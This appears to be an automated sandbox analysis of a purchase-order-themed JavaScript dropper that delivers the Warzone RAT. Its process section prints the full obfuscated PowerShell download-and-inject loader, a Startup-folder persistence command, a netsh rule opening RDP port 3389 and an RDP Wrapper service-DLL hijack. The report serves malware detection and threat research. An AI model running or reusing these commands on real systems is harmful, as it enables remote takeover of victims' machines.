Analysis
-
max time kernel
150s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
05-12-2022 09:04
Static task
static1
Behavioral task
behavioral1
Sample
Order PO-3112041-20326063BOQ.js
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
Order PO-3112041-20326063BOQ.js
Resource
win10v2004-20220812-en
General
-
Target
Order PO-3112041-20326063BOQ.js
-
Size
1KB
-
MD5
f384eeb88cfc352b593f2ad0327fc8e5
-
SHA1
e6aefd80a85dde5d4d55189a2f1136d452b64a37
-
SHA256
1e1d7df8408886f486df3e57ee5b292d98329d351f9ddbe17b013a2aa37a5afd
-
SHA512
389847737982847e472f17fb6333f5559e39c63640eee1faa1922de73ac2f4c08e4b0afb94a417688194dc4451855df729a572059048a246eb8aabd4db0a1090
Malware Config
Signatures
-
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
-
Warzone RAT payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/4696-144-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4696-145-0x000000000040B556-mapping.dmp warzonerat behavioral2/memory/4696-148-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4696-150-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4696-152-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 25 1856 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
59.exepid process 3688 59.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
InstallUtil.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" InstallUtil.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\59.exe upx C:\Users\Admin\AppData\Local\Temp\59.exe upx behavioral2/memory/3688-158-0x0000000000E80000-0x0000000000EAD000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation wscript.exe -
Loads dropped DLL 3 IoCs
Processes:
powershell.exesvchost.exepid process 1856 powershell.exe 1856 powershell.exe 448 svchost.exe -
Drops file in System32 directory 1 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll InstallUtil.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1856 set thread context of 4696 1856 powershell.exe InstallUtil.exe -
Drops file in Program Files directory 2 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Program Files\Microsoft DN1\sqlmap.dll InstallUtil.exe File created C:\Program Files\Microsoft DN1\rdpwrap.ini InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1936 3688 WerFault.exe 59.exe -
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 807b9b129108d901 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "315152058" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000023f38f4a5bdee64eb79e50dc5372b63000000000020000000000106600000001000020000000f702c562d69fe7aa7f5dfc938068f1340680e3cbce96fde48f7e8cfabaa5b2d5000000000e8000000002000020000000db47914613e4dfe92eddac87b5fa11b5fbf640564e161b38f52237d9863bfa692000000006b451fa6a6ad700dc4dfb40fa4d6bf31984234be14a7d4a60778389d6b864c4400000008626769f524a5bb171377562037e9b8ad6a03e4cbab95cf5f4c2d42d90126178a27d1749cbcdee44c952ed326935f4649adff28acc0508a5364e88cb19960cb3 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31000721" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31000721" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31000721" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31000721" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376999653" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "302339995" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70986c119108d901 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "315152058" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{393D9512-7484-11ED-B696-F22D08015D11} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "302339995" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000023f38f4a5bdee64eb79e50dc5372b6300000000002000000000010660000000100002000000078b4a86ed3c8d8afffc71a687e87a9d0905634076fc6f08d7b6f6d7d46fc1675000000000e8000000002000020000000a64cc7462a73b88f8f47e24c9757928926244b91e0ab08768ab8dfd1100abbdc20000000d9b6f9b26af4b2ad46ee73978a2921dd000b29fc75e0348a44389b580c3bc3e34000000026b92a8638d39166f4e665fa258f873a8f17ce658ba35788495574e64919b6092f00d1fd7daaf3b5e0ee2c14c0a80126f30dc25ca1b86e7e10a69bee18c86813 iexplore.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exesvchost.exepid process 4372 powershell.exe 1856 powershell.exe 1856 powershell.exe 4372 powershell.exe 448 svchost.exe 448 svchost.exe 448 svchost.exe 448 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
powershell.exepid process 4372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 46 IoCs
Processes:
powershell.exepowershell.exeInstallUtil.exesvchost.exedescription pid process Token: SeDebugPrivilege 1856 powershell.exe Token: SeDebugPrivilege 4372 powershell.exe Token: SeIncreaseQuotaPrivilege 1856 powershell.exe Token: SeSecurityPrivilege 1856 powershell.exe Token: SeTakeOwnershipPrivilege 1856 powershell.exe Token: SeLoadDriverPrivilege 1856 powershell.exe Token: SeSystemProfilePrivilege 1856 powershell.exe Token: SeSystemtimePrivilege 1856 powershell.exe Token: SeProfSingleProcessPrivilege 1856 powershell.exe Token: SeIncBasePriorityPrivilege 1856 powershell.exe Token: SeCreatePagefilePrivilege 1856 powershell.exe Token: SeBackupPrivilege 1856 powershell.exe Token: SeRestorePrivilege 1856 powershell.exe Token: SeShutdownPrivilege 1856 powershell.exe Token: SeDebugPrivilege 1856 powershell.exe Token: SeSystemEnvironmentPrivilege 1856 powershell.exe Token: SeRemoteShutdownPrivilege 1856 powershell.exe Token: SeUndockPrivilege 1856 powershell.exe Token: SeManageVolumePrivilege 1856 powershell.exe Token: 33 1856 powershell.exe Token: 34 1856 powershell.exe Token: 35 1856 powershell.exe Token: 36 1856 powershell.exe Token: SeIncreaseQuotaPrivilege 1856 powershell.exe Token: SeSecurityPrivilege 1856 powershell.exe Token: SeTakeOwnershipPrivilege 1856 powershell.exe Token: SeLoadDriverPrivilege 1856 powershell.exe Token: SeSystemProfilePrivilege 1856 powershell.exe Token: SeSystemtimePrivilege 1856 powershell.exe Token: SeProfSingleProcessPrivilege 1856 powershell.exe Token: SeIncBasePriorityPrivilege 1856 powershell.exe Token: SeCreatePagefilePrivilege 1856 powershell.exe Token: SeBackupPrivilege 1856 powershell.exe Token: SeRestorePrivilege 1856 powershell.exe Token: SeShutdownPrivilege 1856 powershell.exe Token: SeDebugPrivilege 1856 powershell.exe Token: SeSystemEnvironmentPrivilege 1856 powershell.exe Token: SeRemoteShutdownPrivilege 1856 powershell.exe Token: SeUndockPrivilege 1856 powershell.exe Token: SeManageVolumePrivilege 1856 powershell.exe Token: 33 1856 powershell.exe Token: 34 1856 powershell.exe Token: 35 1856 powershell.exe Token: 36 1856 powershell.exe Token: SeDebugPrivilege 4696 InstallUtil.exe Token: SeAuditPrivilege 448 svchost.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
iexplore.exepid process 4920 iexplore.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
iexplore.exeIEXPLORE.EXEInstallUtil.exepid process 4920 iexplore.exe 4920 iexplore.exe 5048 IEXPLORE.EXE 5048 IEXPLORE.EXE 4696 InstallUtil.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
iexplore.exewscript.exepowershell.exeInstallUtil.exe59.exedescription pid process target process PID 4920 wrote to memory of 5048 4920 iexplore.exe IEXPLORE.EXE PID 4920 wrote to memory of 5048 4920 iexplore.exe IEXPLORE.EXE PID 4920 wrote to memory of 5048 4920 iexplore.exe IEXPLORE.EXE PID 3064 wrote to memory of 1856 3064 wscript.exe powershell.exe PID 3064 wrote to memory of 1856 3064 wscript.exe powershell.exe PID 3064 wrote to memory of 4372 3064 wscript.exe powershell.exe PID 3064 wrote to memory of 4372 3064 wscript.exe powershell.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 1856 wrote to memory of 4696 1856 powershell.exe InstallUtil.exe PID 4696 wrote to memory of 3688 4696 InstallUtil.exe 59.exe PID 4696 wrote to memory of 3688 4696 InstallUtil.exe 59.exe PID 4696 wrote to memory of 3688 4696 InstallUtil.exe 59.exe PID 3688 wrote to memory of 3884 3688 59.exe netsh.exe PID 3688 wrote to memory of 3884 3688 59.exe netsh.exe PID 3688 wrote to memory of 3884 3688 59.exe netsh.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Order PO-3112041-20326063BOQ.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51155111,51151111,51115111,51115551,51151115,51155511,51151111,55151115,51155511,51151111,51151151,55151111,51151511,51155551,51115511,55151111,51151555,51115555,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Sets DLL path for service in the registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\59.exe"C:\Users\Admin\AppData\Local\Temp\59.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=33895⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3688 -s 2885⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\Order PO-3112041-20326063BOQ.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4920 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3688 -ip 36881⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Microsoft DN1\sqlmap.dllFilesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
471B
MD565f24090ffb72280bcf05c7ed340bfec
SHA17371a4493868cc1818a48bf7f0f3730c15ecde7f
SHA256e8db62d610248277631a36310634399779a15c05ebbef6caaf701f71fd593826
SHA5127bc1e220ec0e157246722928101c4b91e73739e2d319f7e6f4fc74cd229ce447cadd2b5b4d73ad00493473caa15a8f8b54cfa2c691831536e72290ea25ea72e0
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
434B
MD55d39b8f9a11bc22a6eb31e52c90155d5
SHA16f58d8bfd08775ab94db031426bd37800f82387b
SHA25699db6eed9eafc668a047eed420a1323fac3c57ad60bdccde537a096e07a3011b
SHA5125e03e8d5f6d4774a5f9a573b59b10e4bbfa4bd2dff0a06ddcb6cac01fa001094bc1d3b9a655ec68d3d0b11021c5f3f22fb0692499beb315ca9d272fb0ea6befb
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5477a7b79e0ba3b9e63cae2f8ebe2e3a7
SHA1c77b9675dfe4bd3ef6ffdeb870c9cf5e52f09b17
SHA256421ab781dcb3ff0930512e829c652fe0ade6aac1abaab3b1090699f578a4d1fc
SHA512dd0a6e298bc56dbee3fd9913efe468eead0032b701569433a152047a22a95349eabc09b8e94770976968e5eb92c7091664e7aba2f56ef3e7a3b3bd31ed56a3d2
-
C:\Users\Admin\AppData\Local\Temp\11d5600c-2bda-4d22-b1dc-d8a970181a72\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
C:\Users\Admin\AppData\Local\Temp\59.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Local\Temp\59.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Local\Temp\784b3b15-2b8e-42df-b11e-ec70bb6ec5f0\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
\??\c:\program files\microsoft dn1\rdpwrap.iniFilesize
291KB
MD5914d30cdc026d77366e6ac105cd5eefc
SHA195e0c8463f4995bf126fa0cffab4a8a947963a1a
SHA256f00109618610375ea494b1406fa7e5548d75a52669b1bf1761a80394301b42f8
SHA512184c1c12c18b02e27a8674476c768b0dcaef7dff722dfd27e4f342ba7ce65653c399eed0bedc3d9cbca0fec0fa5a17077e8e71f4d7807e2119eec1687ccc7635
-
\??\c:\program files\microsoft dn1\sqlmap.dllFilesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
memory/1856-151-0x00007FF832870000-0x00007FF833331000-memory.dmpFilesize
10.8MB
-
memory/1856-138-0x00007FF832870000-0x00007FF833331000-memory.dmpFilesize
10.8MB
-
